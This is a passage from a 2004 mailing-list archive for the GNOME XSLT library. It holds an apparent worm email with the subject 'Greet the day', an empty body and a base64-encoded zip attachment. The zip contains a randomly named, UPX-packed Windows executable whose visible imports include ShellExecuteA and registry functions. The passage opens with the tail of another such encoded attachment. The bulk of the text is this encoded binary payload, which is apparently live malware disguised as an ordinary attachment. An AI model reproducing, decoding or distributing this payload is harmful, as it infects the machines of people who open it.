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 xiux5t5cbOlWZT8gHQIZgea2CHJzbZ7Yv2Ynw1lKc4UA8s11dPTMC00SaERiU+mvXD5uIHN1 mA2Ep5I9hAtIbJBKOEftdMK+Ch0rtrUmDGgGMyErIscECm1wiTFEEXFqU4lFHF9txywwAWCJ EMWA////3wYwETAeMCYwLDBGMEwwXDATMR4xJDFONcc14DUi/////zYwNk82LzlJOVQ5ZTmB OYo5rTm+Occ54DnvOfo5Azoh////5To4Ol06aDqJOqk6yzrvOhw7Lzs+O1c7XDthO/f///+F O507wDtLPF48aDwvPTk9Qz1IPWs9iD2XPaE9eF8g2CKGWEcLMoYy/////6EyqjK1Mt4y5DLs MgkzTTOiM9Iz5TPrMxA0/zQYNco1/////+41mzY1N1k3vDfON9o3DjgrOKc4FjmaO7U8vjzd PMA930Tz/w8+HD5VPqc+9j4DPzgSzzDVMN/////dMO3PQjGBMaYxsTG6Mcsx0DH+MQ8yKDJ0 NH80jP////803zTuNBE1IzU/NXs1yTWsNrc2wDbONtQ25zb5NiE3J3/3//83MDc5N043ZTdw N5A3qTevN8M3z3/9NyE4YzjZ/3/D/zj1OAA5CzkdOSofxjlQOnk6izqfOq46ATsH/////zsW O2c7bDtyO307mzupO8M75jv2OwE8Mjw4PD48RDxK//8N/zxQPFY8XDxiGW48dDx6PIA8hjyM PJI8mDye/////zykPKo8sDy2PLw8wjzIPM481DzaPOA85jzsPPI8+Dz+///W/zwEPQo9ED0W PRyWPSg9Lj00PTo9QD1GPUw9fotb/FI9WD1ePRpqPSV2PXw9gv///xttjj2UPZo9oD2mPaw9 sj24Pb49xD3KPdA91j1AauH/3D3iPeg97j30PfqPPh1VkbAIDW6ghIL/gAPf/SH/lev+itGK kNlflYPZ2gctqoLZ0AJ3KDD3B9giIYT3fT68F0Ao95QDnKY0FPcRIBR8NoUwF2KyAGR0ByD3 dAwoBjdAshwgGKhXEAoCSQz3TNkscmgB63rgs9kgFKciECOUJISCBKcRATYI6GTB4L1gCX7P CSBgwbKldyAhwbIhu2AmOJCmc4EYYVZqqYh2gDArBXZespwQ0hCbKriy3bQXwhALs5ZV8MDB pAHcKmAjI2HWCNSOBaAJN4vXoupT4Aj+s+tf3YH6sP8W6NOXK+g/ALe7Ox6jZBEJ6yQOHoM9 NncheA2//zUIIBQgAO9txwUKmScCuVQu1V+sEJv4jIsQ3+4wGu8yMRFUBv87MUYxWjFgMQda p0CI4lxkFfSCZM0IMycuwEix7mRtX2N5VyMVYNQb4ssBxggqOKKIJEVaFoIJjN0YAQUbxSsG sW5Q3WMvJG5lQRBFeGkUZEDdviD3Ek0OdWxo2VbxyE7rQRM6itmsWBHzQSgHVaAiQEHNDpCA ATPqQS2b1g7TomZRJwKKTRjUQA7fAZFBjUHLAbJkUMneAbcMeRNCAbMKRgHss2FQjAltcGkK bhjUO3Cnk3t+SygV0QrkaW8TCnjvUHlDbGFnvUQlO1HjDQZLFvXjAfJ8SVrQVuRB3ExIBGqM AhgBMAhVsm5SlHRjc7olVEcB0QxvAIkK1qkKhbOwBGoB9u+Z1EigTghyAYFaCLbTEKjTbDam ADGhOs02F7Kc5dmMGJE5AQuSiGWzyfTMLM8D+QQAQg8BDmCiXECOXhQqA5AvEsS5bwAEoPm6 qE9kOpAD1SFqtwJXqADEkHJyKs4MDkLU965sG/sGxCwPGckS9FQwownJslIYc8wdQtRsAOvE an8ovpUnG7TGc5IAAAAAAAAAgAQA/wAAAAAAAAAAYL4AgEAAjb4AkP//V4PN/+sQkJCQkJCQ igZGiAdHAdt1B4seg+78Edty7bgBAAAAAdt1B4seg+78EdsRwAHbc+91CYseg+78Edtz5DHJ g+gDcg3B4AiKBkaD8P90dInFAdt1B4seg+78EdsRyQHbdQeLHoPu/BHbEcl1IEEB23UHix6D 7vwR2xHJAdtz73UJix6D7vwR23Pkg8ECgf0A8///g9EBjRQvg/38dg+KAkKIB0dJdffpY/// /5CLAoPCBIkHg8cEg+kEd/EBz+lM////Xon3uVsAAACKB0cs6DwBd/eAPwB18osHil8EZsHo CMHAEIbEKfiA6+gB8IkHg8cFidji2Y2+AJAAAIsHCcB0PItfBI2EMKSzAAAB81CDxwj/lgi0 AACVigdHCMB03In5V0jyrlX/lgy0AAAJwHQHiQODwwTr4f+WELQAAGHpWmL//wAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAAYAAAgAAAAAAAAAAA AAAAAAAAAQABAAAAOAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAUAAAAKTAAADoAgAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAEAAQAAAHgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAJAAAACQwwAA FAAAAAAAAAAAAAAAoJAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA /wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAACHd3d3d3d3d3d3d3cAAAAAj//////////////3AAAAAI//////////////9w AAAACP/3d3d3d3d3d3f/cAAAAAj/9///f/d3/3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3 d3d393f/d3//cAAAAAj/9///f/d3d3d//3AAAAAI//f//3/3d/93f/9wAAAACP/3d3d393f/ d3//cCgoKCgoKCgof////3d//3CCgoKCgoKCgn//9/////9wKP///////yh3d3d3d3//cIL/ ///4KCiCf//3//9//3Ao8oKCgvKCKH//9///f/9wgvgoKC8oL4J3d3d3d3//cCjygoLygo8o f//3//9//3CC/ygvKCgvgn//9///f/9wKP/y8oKP/yh3d3d3d3//cIL/LygoKP+Cf//3//9/ /3Ao8vKCgoKPKH//9///f/9wgvgoKPgoL4J3d3d3gAAAACjygo//go8o/////4//eACC//// ////gv////+P94AAKCgoKCgoKCh3d3//j3gAAIKCgoKCgoKC/////4eAAAAAAAAI//////// //+IAAAAAAAACP//////////gAAAAAAAAAiIiIiIiIiIiIAAAAD///////////4AAAD+AAAA /gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAA/gAAAP4AAAD+AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAMAAAAHAAAAD/4AAB/+AAA/ /gAAf4iTAAAAAAEAAQAgIBAAAQAEAOgCAAABAAAAAAAAAAAAAAAAADDEAAAIxAAAAAAAAAAA AAAAAAAAPcQAABjEAAAAAAAAAAAAAAAAAABKxAAAIMQAAAAAAAAAAAAAAAAAAFbEAAAoxAAA AAAAAAAAAAAAAAAAAAAAAAAAAABgxAAAbsQAAH7EAAAAAAAAjMQAAAAAAACaxAAAAAAAAKrE AAAAAAAAS0VSTkVMMzIuRExMAGFkdmFwaTMyLmRsbABTSEVMTDMyLmRsbAB1c2VyMzIuZGxs AABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNzAABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3Nl S2V5AAAAU2hlbGxFeGVjdXRlQQAAAEZpbmRXaW5kb3dBAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSwECFAAKAAAAAADgeVsw Sh/MnQA+AAAAPgAADAAAAAAAAAAAACAAAAAAAAAAbXRqeGVhbGMuZXhlUEsFBgAAAAABAAEA OgAAACo+AAAAAA== ----------ttxcugqudialnnhpevpc-- From aleksey@aleksey.com Fri Feb 27 18:21:11 2004 Return-Path: Delivered-To: xslt@gnome.org Received: from doclab6 (doc.ecse.rpi.edu [128.113.62.30]) by mail.gnome.org (Postfix) with SMTP id 6122E18C9C for ; Fri, 27 Feb 2004 18:21:11 -0500 (EST) Date: Fri, 27 Feb 2004 18:21:03 -0500 To: xslt@gnome.org From: aleksey@aleksey.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------bwjuxuydugspencrrcev" Subject: [xslt] Greet the day Sender: xslt-admin@gnome.org Errors-To: xslt-admin@gnome.org X-BeenThere: xslt@gnome.org X-Loop: xslt@gnome.org X-Mailman-Version: 2.0.12 Precedence: bulk Reply-To: xslt@gnome.org List-Help: List-Post: List-Subscribe: , List-Id: The Gnome XSLT library mailing-list List-Unsubscribe: , List-Archive: ----------bwjuxuydugspencrrcev Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------bwjuxuydugspencrrcev Content-Type: application/octet-stream; name="cdcabba.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bcacb.zip" UEsDBAoAAAAAACCSWzBKH8ydAD4AAAA+AAAMAAAAZXhkYWp3ZHQuZXhlTVqQAAMAAAAEAAAA //8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4f ug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K JAAAAAAAAADEoj5LgMNQGIDDUBiAw1AYgMNQGIPDUBgO3EMYr8NQGGjcVRiBw1AYfONCGIHD UBhHxVYYgcNQGFJpY2iAw1AYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBCRUBA AAAAAAAAAADgAA8BCwEFDABAAAAAEAAAAHAAALCwAAAAgAAAAMAAAAAAQAAAEAAAAAIAAAQA AAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAA AAAAAAAAAACkwwAAFAEAAADAAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABwAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAA AACAAADgVVBYMQAAAAAAQAAAAIAAAAA0AAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAA ABAAAADAAAAABgAAADgAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 